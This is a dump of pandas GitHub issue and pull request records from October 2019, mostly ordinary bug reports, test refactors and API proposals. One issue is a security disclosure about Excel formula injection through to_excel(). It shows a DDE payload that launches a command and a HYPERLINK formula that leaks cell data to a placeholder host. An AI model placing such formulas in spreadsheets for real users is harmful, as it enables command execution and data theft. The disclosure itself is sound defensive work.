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] | closed | false | null | [] | null | 4 | 2019-10-18T20:52:21Z | 2021-07-21T06:17:18Z | 2021-07-21T06:17:18Z | NONE | null | #### Code Sample, a copy-pastable example if possible
```python
>>> df = pd.DataFrame({'a': [3.0, 1.0, 2.0], 'b':[5, 6, 7]}).set_index('a')
>>> df[:0]
KeyError: 0.0
```
#### Problem description
In many cases `df[:0]` effectively returns the metadata for a dataframe, i.e.
```
Empty DataFrame
Columns: [b]
Index: []
```
However if the dataframe index has type `Float64Index` and is not monotonic then it returns `KeyError`.
#### Expected Output
```
Empty DataFrame
Columns: [b]
Index: []
```
#### Output of ``pd.show_versions()``
<details>
INSTALLED VERSIONS
------------------
commit : None
python : 3.7.4.final.0
python-bits : 64
OS : Darwin
OS-release : 17.7.0
machine : x86_64
processor : i386
byteorder : little
LC_ALL : None
LANG : en_GB.UTF-8
LOCALE : en_GB.UTF-8
pandas : 0.25.1
numpy : 1.17.3
pytz : 2019.3
dateutil : 2.8.0
pip : 19.2.3
setuptools : 41.4.0
Cython : None
pytest : None
hypothesis : None
sphinx : None
blosc : None
feather : None
xlsxwriter : None
lxml.etree : None
html5lib : None
pymysql : None
psycopg2 : None
jinja2 : None
IPython : None
pandas_datareader: None
bs4 : None
bottleneck : None
fastparquet : None
gcsfs : None
lxml.etree : None
matplotlib : None
numexpr : None
odfpy : None
openpyxl : None
pandas_gbq : None
pyarrow : None
pytables : None
s3fs : None
scipy : None
sqlalchemy : None
tables : None
xarray : None
xlrd : None
xlwt : None
xlsxwriter : None
</details>
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} | 1 | 2019-10-18T22:31:39Z | 2019-10-19T17:08:40Z | 2019-10-19T17:08:36Z | CONTRIBUTOR | null | - [X] closes #25416
- [X] tests added / passed
- [X] passes `black pandas`
- [X] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
- [ ] whatsnew entry
This change adds a regression test to check for the handling of 2d index when creating a dataframe (#25416).
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} | 3 | 2019-10-18T22:55:48Z | 2019-10-19T17:07:15Z | 2019-10-19T17:07:11Z | CONTRIBUTOR | null | Part of #22550
Replaced TestData usage in `pandas/tests/series/test_operators.py` with`datetime_series` fixture
- [x] tests added / passed
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} | 1 | 2019-10-19T00:52:00Z | 2019-10-19T17:11:28Z | 2019-10-19T17:05:32Z | MEMBER | null | No longer needed since the functions in it use fused types. | {
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"d... | closed | false | null | [] | null | 14 | 2019-10-19T01:36:09Z | 2020-01-04T18:21:28Z | 2020-01-04T18:21:28Z | CONTRIBUTOR | null | - [ ] closes #29070
- [x] passes `black pandas`
- [x] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
- [x] whatsnew entry
I tried to follow what Tom said in the issue but I don't really know how to integrate with CI. I was in doubt too with how to import pytest-asyncio as well. Maybe both questions are related.
If is possible for someone to explain, I will quickly make the necessary changes 😁
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} | 0 | 2019-10-19T02:14:48Z | 2019-10-19T17:12:04Z | 2019-10-19T17:03:51Z | MEMBER | null | cc @jreback @WillAyd
Next groupby-based branch I'm going to focus on the TODOs that have been introduced over this sequence of PRs before continuing to prune the Exceptions. | {
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} | 1 | 2019-10-19T03:43:30Z | 2019-10-19T17:15:52Z | 2019-10-19T17:13:05Z | MEMBER | null | Started as simplifying the templating for algos_take_helper. There are some complications that make moving that to fused types non-trivial, but this gets us to a place where its a viable option. | {
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} | [] | closed | false | null | [] | null | 4 | 2019-10-19T07:03:03Z | 2019-10-22T01:12:41Z | 2019-10-22T01:12:41Z | CONTRIBUTOR | null | When I run
```python
pytest pandas
```
locally, I get the following error.
```python
ImportError while loading conftest '/Users/mohitanand/pandas/pandas/conftest.py'.
pandas/conftest.py:13: in <module>
import pandas.util._test_decorators as td
pandas/util/_test_decorators.py:183: in <module>
_skip_if_has_locale(),
pandas/util/_test_decorators.py:101: in _skip_if_has_locale
lang, _ = locale.getlocale()
../anaconda3/envs/pandas-dev/lib/python3.7/locale.py:587: in getlocale
return _parse_localename(localename)
../anaconda3/envs/pandas-dev/lib/python3.7/locale.py:495: in _parse_localename
raise ValueError('unknown locale: %s' % localename)
E ValueError: unknown locale: UTF-8
```
How do I solve it.
#### Output of ``pd.show_versions()``
<details>
[paste the output of ``pd.show_versions()`` here below this line]
pandas : 0.26.0.dev0+598.g93e8b11e7
numpy : 1.17.2
pytz : 2019.3
dateutil : 2.8.0
pip : 19.2.3
setuptools : 41.4.0
Cython : 0.29.13
pytest : 5.2.1
hypothesis : 4.36.2
sphinx : 2.2.0
blosc : None
feather : None
xlsxwriter : 1.2.1
lxml.etree : 4.4.1
html5lib : 1.0.1
pymysql : None
psycopg2 : None
jinja2 : 2.10.3
IPython : 7.8.0
pandas_datareader: None
bs4 : 4.8.0
bottleneck : 1.2.1
fastparquet : 0.3.2
gcsfs : None
lxml.etree : 4.4.1
matplotlib : 3.1.1
numexpr : 2.7.0
odfpy : None
openpyxl : 3.0.0
pandas_gbq : None
pyarrow : 0.15.0
pytables : None
s3fs : 0.3.4
scipy : 1.3.1
sqlalchemy : 1.3.9
tables : 3.5.1
xarray : 0.13.0
xlrd : 1.2.0
xlwt : 1.3.0
xlsxwriter : 1.2.1
</details>
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} | 1 | 2019-10-19T07:14:22Z | 2019-10-19T13:31:29Z | 2019-10-19T13:31:24Z | NONE | null | ### Code Sample
```python
import pandas as pd
import numpy as np
f = lambda: np.random.normal(0, 1, n)
df_x = pd.DataFrame({'x1':f(), 'x2':f(), 'x3':f()})
df_y = pd.DataFrame({'y1':f(), 'y2':f()})
df_x.corrwith(df_y)
```
output is
```
x1 NaN
x2 NaN
x3 NaN
y1 NaN
y2 NaN
dtype: float64
```
### Problem description
[document](https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.corrwith.html?highlight=corrwith#pandas.DataFrame.corrwith) of `DataFrame.corrwith` says it "compute pairwise correlation between ... DataFrame with ... DataFrame" and the return type of this method is `Series`. It is not clear how the pairs of columns/row is choosen to compute correlation.
Moreover, the value it returns are all NaN.
### Expected Outputs
According to this description, I expect it return a DataFrame like this:
| | x1 | x2 | x3 |
| ---- | ---- | ---- | ---- |
| y1 | | | |
| y2 | | | |
whose `['y1', 'x1']` element is `correlation(df_x['x1'], df_y['y1'] )`
or a multi-indexed Series like this:
| index | correlation |
| -------- | ----------- |
| (x1, y1) | |
| (x1, y2) | |
| (x2, y1) | |
| (x2, y2) | |
| (x3, y1) | |
| (x3, y2) | |
### Output of pd.show_versions()
<details><summary>details</summary>
INSTALLED VERSIONS
------------------
commit : None
python : 3.6.4.final.0
python-bits : 64
OS : Darwin
OS-release : 16.7.0
machine : x86_64
processor : i386
byteorder : little
LC_ALL : en_US.UTF-8
LANG : en_US.UTF-8
LOCALE : en_US.UTF-8
pandas : 0.25.1
numpy : 1.14.1
pytz : 2018.3
dateutil : 2.6.1
pip : 19.0.3
setuptools : 41.0.1
Cython : 0.29.2
pytest : 5.1.0
hypothesis : None
sphinx : None
blosc : None
feather : None
xlsxwriter : None
lxml.etree : 4.4.1
html5lib : None
pymysql : None
psycopg2 : None
jinja2 : 2.10
IPython : 7.1.1
pandas_datareader: None
bs4 : 4.8.0
bottleneck : None
fastparquet : None
gcsfs : None
lxml.etree : 4.4.1
matplotlib : 3.0.2
numexpr : None
odfpy : None
openpyxl : None
pandas_gbq : None
pyarrow : None
pytables : None
s3fs : None
scipy : 1.2.1
sqlalchemy : None
tables : None
xarray : None
xlrd : None
xlwt : None
xlsxwriter : None
</details>
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} | [] | closed | false | null | [] | null | 1 | 2019-10-19T07:58:46Z | 2019-10-19T12:38:43Z | 2019-10-19T12:38:43Z | NONE | null | Not sure whether this should be reported here or in the documentation repository.
"Whatsnew" link in the release description here https://github.com/pandas-dev/pandas/releases leads to the following url https://pandas.pydata.org/pandas-docs/version/0.25/whatsnew/v0.25.2.html which return 404 error. | {
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} | 4 | 2019-10-19T08:15:16Z | 2019-11-18T17:06:37Z | 2019-11-18T17:06:26Z | CONTRIBUTOR | null | - [x] closes #20990
- [x] tests added / passed
- [x] passes `black pandas`
- [x] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
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https://api.github.com/repos/pandas-dev/pandas/issues/29094 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29094/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29094/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29094/events | https://github.com/pandas-dev/pandas/issues/29094 | 509,431,088 | MDU6SXNzdWU1MDk0MzEwODg= | 29,094 | Feature request: Add _libs.* native support to cython | {
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} | [] | closed | false | null | [] | null | 8 | 2019-10-19T10:33:34Z | 2019-11-03T07:58:15Z | 2019-11-03T07:58:15Z | NONE | null | Hi, cython newbie here,
if pandas adds C interface of _libs, that is so convenient.
just like:
cimport pandas as pd
Thanks. | {
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} | 10 | 2019-10-19T13:05:47Z | 2021-07-06T13:00:54Z | null | CONTRIBUTOR | null | #### Code Sample
```python
import pandas as pd
df = pd.DataFrame([
"simple string",
"=2+5+cmd|' /C calc'!A0",
])
df.to_excel("pandas_minimal.xlsx", header=False, index=False, engine="openpyxl")
```
#### Problem description
When exporting DataFrames to Excel files (.xlsx) , pandas converts strings starting with `=` into Excel formulas. This happens with both .xlsx engines (openpyxl and xlsxwriter).
#### Expected Output
I expect the Excel file to contain a cell with the text:
=2+5+cmd|' /C calc'!A0"
This a correctness issue: this is probably not what the user expects (especially since this behavior is not documented).
I'd argue this is a security vulnerability as well.
#### Security considerations
I think this is is a vulnerability in pandas as it could be used by an attacker to inject Excel formulas in the generated .xslx file: this could be used to trigger shell command execution (when opened in
Excel) and data exfiltration (works on LibreOffice as well).
**Relationship with CSV injection**
This is different from CSV-based injection (but related).
When using the CSV format, cells starting with `=` do not have to be considered as formula: this is the consuming software fault if it is processing the data as formula and we can argue [2] that it is not a security issue in the producing software. Moreover there is not clear way to prevent this from happening from the producing software without altering the original data.
However, when exporting to Excel files, each cell can be typed either as string or formula and it is possible to have cells starting with = which are not formulas: it is the producing software responsibility to generate the correct cell.
I would even argue that converting to Excel files instead of CSV files would be a safer route when producing files to be consumed by spreadsheet software because we can prevent this injection from
happening.
**Example 1: shell command execution**
Here's a minimal example (derived from [4]):
~~~python
import pandas as pd
df = pd.DataFrame([
"simple string",
"=2+5+cmd|' /C calc'!A0",
])
df.to_excel("pandas_minimal.xlsx", header=False, index=False, engine="openpyxl")
~~~
The resulting XSLX file contains:
~~~xml
$ unzip -p pandas_minimal.xlsx xl/worksheets/sheet1.xml | xmllint --format -
<?xml version="1.0"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetPr>
<outlinePr summaryBelow="1" summaryRight="1"/>
<pageSetUpPr/>
</sheetPr>
<dimension ref="A1:A2"/>
<sheetViews>
<sheetView workbookViewId="0">
<selection activeCell="A1" sqref="A1"/>
</sheetView>
</sheetViews>
<sheetFormatPr baseColWidth="8" defaultRowHeight="15"/>
<sheetData>
<row r="1">
<c r="A1" t="inlineStr">
<is>
<t>simple string</t> <!-- This is a plain string. -->
</is>
</c>
</row>
<row r="2">
<c r="A2">
<f>2+5+cmd|' /C calc'!A0</f> <-- This is a formula. -->
<v/>
</c>
</row>
</sheetData>
<pageMargins bottom="1" footer="0.5" header="0.5" left="0.75" right="0.75" top="1"/>
</worksheet>
~~~
Notice how the first cell was interpreted as a plain string:
~~~xml
<t>simple string</t>
~~~
whereas the second was expanded as a Excel formula:
~~~xml
<f>2+5+cmd|' /C calc'!A0</f>
~~~
This happens with both XLSX backends (XlsxWriter) and (OpenPyxl). It could be argued that the problem actually lies in the underlying libraries. It is however possible to prevent the formula injections when using these two libraries. I have patches which fix this issue in pandas (see pull request).
In Excel, this formula can execute a local system command. When used with this payload, Excel actually warns before executing the shell command [1]:
> Remote data not accessible
>
> To access this data Excel needs to start another application. Some
> legitimate applications and your computer could be used maliciously
> to spread viruses or damage your computer. Only click Yes if you
> trust the source of this workbook and you want to let the workbook
> start the application.
The Excel file might actually be coming from a trusted source (a trusted pandas script executed from a trusted environment): the user would then legitimately want to click on "Yes". However, an attacker
could exploit this behavior in pandas to inject a malicious formula in the trusted Excel file.
**Example 2: data exfiltration**
Another possibility (which can be triggered through LibreOffice) is data exfiltration from the Excel file to a remote server:
Let's take this example (derived from [3]):
~~~python
import pandas as pd
df = pd.DataFrame([
"some data",
'=HYPERLINK("http://www.example.com?leak="&B2,"Error, click for details")',
])
df.to_excel("data-exfiltration.xlsx")
~~~
It generates a link to:
http://www.example.com/?leak=some%20data
Clicking on this link can be used to exfiltrate data (in this case, the B2 cell from the spreadsheet to a remote server.
**References**
[1] https://youtu.be/C1o5uVOaufU?t=364
[2] https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection
[3] https://www.notsosecure.com/data-exfiltration-formula-injection/
[4] http://georgemauer.net/2017/10/07/csv-injection.html
#### Resolution
I think the proper way to handle this is to disable Excel formula injection through .to_excel().
If this behavior is useful for some user, this might be controlled with a parameter of .to_excel(). In this case, the documentation should probably include a warning about the security implications of
enabling this feature. I believe it would be safer to disable this option by default at some point (eg. for pandas 1.0).
#### Output of ``pd.show_versions()``
<details>
<pre>
commit: None
python: 3.7.5.candidate.1
python-bits: 64
OS: Linux
OS-release: 5.2.0-3-amd64
machine: x86_64
processor:
byteorder: little
LC_ALL: None
LANG: fr_FR.utf8
LOCALE: fr_FR.UTF-8
pandas: 0.23.3
pytest: 3.10.1
pip: 18.1
setuptools: 41.2.0
Cython: None
numpy: 1.16.5
scipy: 1.2.2
pyarrow: None
xarray: None
IPython: 5.8.0
sphinx: None
patsy: None
dateutil: 2.7.3
pytz: 2019.2
blosc: None
bottleneck: None
tables: 3.5.2
numexpr: 2.7.0
feather: None
matplotlib: 3.0.2
openpyxl: 2.4.9
xlrd: 1.1.0
xlwt: 1.3.0
xlsxwriter: None
lxml: 4.4.1
bs4: 4.8.0
html5lib: 1.0.1
sqlalchemy: None
pymysql: None
psycopg2: None
jinja2: 2.10.1
s3fs: None
fastparquet: None
pandas_gbq: None
pandas_datareader: None
</pre>
</details>
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} | 2 | 2019-10-19T13:08:46Z | 2019-10-19T16:55:08Z | 2019-10-19T15:50:57Z | CONTRIBUTOR | null | Part of #22550
Replaced TestData usage in `pandas/tests/series/test_quantile.py` with `datetime_series` fixture
- [x] tests added / passed
- [x] passes `black pandas`
- [x] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
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} | 6 | 2019-10-19T13:44:18Z | 2019-10-20T13:50:03Z | 2019-10-20T13:49:55Z | CONTRIBUTOR | null | Add a regression test to ensure that the timezone doesn't get removed
when using `df.apply`.
- [x] closes #29052
- [x] tests added / passed
- [x] passes `black pandas`
- [x] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
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} | 3 | 2019-10-19T15:22:45Z | 2019-10-19T18:30:42Z | 2019-10-19T18:14:22Z | MEMBER | null | Cleans up one of the TODOs introduced in recent groupby work.
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} | 1 | 2019-10-19T16:20:12Z | 2019-10-22T15:09:28Z | 2019-10-22T12:39:24Z | MEMBER | null | Taking another stab at #28649. I think there was another discussion somewhere else trying to troubleshoot the test that is xfailed here, but haven't found it yet. | {
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} | 8 | 2019-10-19T17:26:30Z | 2019-10-24T12:11:00Z | 2019-10-24T12:10:57Z | CONTRIBUTOR | null | Part of #22550
* Replaced TestData usage in `pandas/tests/series/test_rank.py` with fixtures
* Switched from class-based test approach to function-based (**Note:** This is why the diff is so big)
- [x] tests added / passed
- [x] passes `black pandas`
- [x] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
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"gists_url":... | null | 7 | 2019-10-19T18:12:43Z | 2020-05-24T20:36:45Z | null | MEMBER | null | When opening a json file that doesn't exist with `read_json`, we get a `ValueError` with error messages like:
```python
>>> import pandas
>>> pandas.read_json('no_file.json')
ValueError: Unexpected character found when decoding 'null'
>>> pandas.read_json('a_dir/no_file.json')
ValueError: Expected object or value
```
It'd probably be better to raise an exception like:
```
FileNotFoundError: No such file: 'no_file.json'
``` | {
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"color": "207d... | closed | false | null | [] | null | 20 | 2019-10-19T19:08:41Z | 2020-05-24T08:13:58Z | 2019-12-10T16:54:07Z | CONTRIBUTOR | null | - [x] closes #29102
- [ ] tests added / passed
- [x] passes `black pandas`
- [x] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
- [ ] whatsnew entry
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"description": "Internal... | open | false | null | [] | null | 4 | 2019-10-19T22:55:06Z | 2020-05-07T03:52:02Z | null | CONTRIBUTOR | null | I suggest that `Series.diff()` method should have `axis` argument to align its signature with the signature of `DataFrame.diff()`. This way it'd be easier to write polymorphic functions that could take both series and dataframes.
```python
# Series
x.diff(periods=1)
# DataFrame
df.diff(periods=1, axis=0)
```
Many other `Series` methods already have signatures identical to those of dataframes (and obviously when calling with `axis=1` would raise `ValueError`), e.g.:
```python
# Series
x.shift(periods=1, freq=None, axis=0, fill_value=None)
# DataFrame
df.shift(periods=1, freq=None, axis=0, fill_value=None)
# Series
x.cumsum(axis=None, skipna=True, *args, **kwargs)
# DataFrame
df.cumsum(axis=None, skipna=True, *args, **kwargs)
# Series
x.add(other, level=None, fill_value=None, axis=0)
# DataFrame
df.add(other, axis='columns', level=None, fill_value=None)
# Here axis is not an explicit argument, but properly passed from **kwargs
# Series
x.pct_change(periods=1, fill_method='pad', limit=None, freq=None, **kwargs)
# DataFrame
df.pct_change(periods=1, fill_method='pad', limit=None, freq=None, **kwargs)
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} | 1 | 2019-10-20T06:07:17Z | 2019-10-21T06:50:04Z | 2019-10-21T06:49:55Z | CONTRIBUTOR | null | xref #28926
- [x] closes a subtask of #28296
- [x] tests added / passed
- [x] passes `black pandas`
- [x] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
- [ ] whatsnew entry
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> No output has been received in the last 10m0s, this potentially indicates a stalled build or something wrong with the build itself.
https://codecov.io/gh/pandas-dev/pandas/compare/96cc8101779ff578426463d088b0f1a1fb554591...1a35eeb1408b464bcc5f163dd3c33d61ccaeb9dd | {
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] | closed | false | null | [] | null | 6 | 2019-10-20T06:41:42Z | 2019-11-17T16:19:12Z | 2019-11-17T16:19:11Z | CONTRIBUTOR | null | xref #28926
- [x] xref #28926
- [x] tests passed
- [x] passes `black pandas`
- [x] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
- [ ] whatsnew entry
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https://api.github.com/repos/pandas-dev/pandas/issues/29111 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29111/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29111/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29111/events | https://github.com/pandas-dev/pandas/issues/29111 | 509,572,009 | MDU6SXNzdWU1MDk1NzIwMDk= | 29,111 | API: Remove nan-likes from MultiIndex levels | {
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... | open | false | null | [] | null | 9 | 2019-10-20T09:54:58Z | 2021-07-21T06:18:36Z | null | CONTRIBUTOR | null | Working on #27138 I've found that ``MultiIndex`` keeps nan-likes in the levels, but encode them all to -1:
```python
>>> levels, codes = [[nan, None, pd.NaT, 128, 2]], [[0, -1, 1, 2, 3, 4]]
>>> mi = pd.MultiIndex(levels, codes)
>>> mi.codes[0]
[-1, -1, -1, -1, 3, 4]
>>> mi.levels[0]
Index([nan, None, NaT, 128, 2], dtype='object')
```
All the MultiIndex nan-likes are encoded to -1, so it's not possible to decode them to their constituent values. So it's not possible to get more than one nan-like values out of the MultiIndex, so in this case ``None`` and ``NaT`` disappears when converting:
```python
>>> mi.to_frame()[0].array
<PandasArray>
[nan, nan, nan, nan, 128, 2]
Length: 6, dtype: object
```
I think if nan-likes are all encoded to -1, it'd be more consistent to not have them in the levels, similarly to how ``Categorical`` does it already.
```python
>>> c = pd.Categorical(levels[0])
>>> c.codes
array([-1, -1, -1, 1, 0], dtype=int8)
>>> c.categories
>>> Int64Index([2, 128], dtype='int64')
```
Is there acceptance to change the MultiIndex API so we get nan-likes out of the labels? That would give them an API more similar to ``Categorical``.
@pandas-dev/pandas-core. | {
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https://api.github.com/repos/pandas-dev/pandas/issues/29112 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29112/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29112/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29112/events | https://github.com/pandas-dev/pandas/issues/29112 | 509,575,493 | MDU6SXNzdWU1MDk1NzU0OTM= | 29,112 | DOC: the description of activating virtual env with pip under windows is not correct | {
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"id"... | closed | false | null | [] | null | 0 | 2019-10-20T10:29:27Z | 2019-11-01T23:18:32Z | 2019-11-01T23:18:32Z | CONTRIBUTOR | null | #### Problem description
Hello everybody,
yesterday I tried to setup pandas dev environment under Windows. I have python only 3.7.5 installed.
In doc/source/development/contributing.rst is described how I can setup a dev environment and one of the steps is creating a virtual environment with pip. There is an instruction how to activate it:
`. ~/virtualenvs/pandas-dev/bin/activate`
This cannot function under Windows, since the virtualenv module does not create a bin folder. I've added a couple of comments which scripts should be run under Windows and will submit a PR shortly. | {
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